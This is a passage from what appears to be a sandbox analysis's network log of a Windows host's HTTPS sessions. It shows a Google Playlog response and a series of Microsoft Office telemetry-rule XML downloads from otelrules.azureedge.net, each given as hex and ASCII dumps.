[[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730230503123",null,null,null,
2024-10-29 19:35:06 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=xZNq1TBcoou9VJ4H6IpAbeeXI2NTLNTizPMJQl-umDaLZfnhrzCpIvT0gcuy2mLnb-za8sSF1ExDyqdS6EETSZnFboXvLX6SIcwiLBIJJeo-_r8tx1FfdPGmzKuIdmmX_zKKbDeOTUuETIb2xF6kE_av8IRk9VHHQ19i0gplBhuM9pT8KPs; expires=Wed, 30-Apr-2025 19:35:06 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 29 Oct 2024 19:35:06 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 29 Oct 2024 19:35:06 GMT Connection: close Transfer-Encoding: chunked
2024-10-29 19:35:06 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-29 19:35:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:06 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:06 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:06 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: b14e1d55-401e-0078-709c-274d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193506Z-17c5cb586f6sqz6f73fsew1zd800000000s00000000070y4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 19:35:06 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:06 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:06 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 7d1d0a8a-d01e-0049-263b-26e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193506Z-r197bdfb6b4gx6v9pg74w9f47s0000000940000000005a7n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:06 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:06 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:06 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: f296e79a-801e-008c-04d4-297130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193506Z-17c5cb586f6r59nt869u8w8xt800000005w000000000f9t7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:06 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:06 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:06 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 809859d7-601e-00ab-6828-2666f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193506Z-17c5cb586f6lxnvg801rcb3n8n00000006xg00000000amv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:06 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:06 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:06 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193506Z-16849878b78smng4k6nq15r6s400000008m0000000000rt4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:06 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:07 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:07 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 336bf192-401e-00ac-1a67-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193507Z-15b8d89586f4zwgbgswvrvz4vs00000008d0000000004ebt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:07 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:07 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: efaca471-901e-002a-6713-287a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193507Z-r197bdfb6b46krmwag4tzr9x7c00000006vg000000007w8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:07 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:07 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 18fe904c-c01e-00a1-4257-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193507Z-16849878b78sx229w7g7at4nkg000000054000000000xx1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:07 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:07 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:07 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193507Z-16849878b78fhxrnedubv5byks000000057000000000w361 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:07 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:07 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: e2c56d39-d01e-0066-36df-25ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193507Z-15b8d89586fvk4kmbg8pf84y8800000007ug00000000es2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:08 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:08 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193508Z-16849878b786fl7gm2qg4r5y70000000076000000000shsp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:08 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> 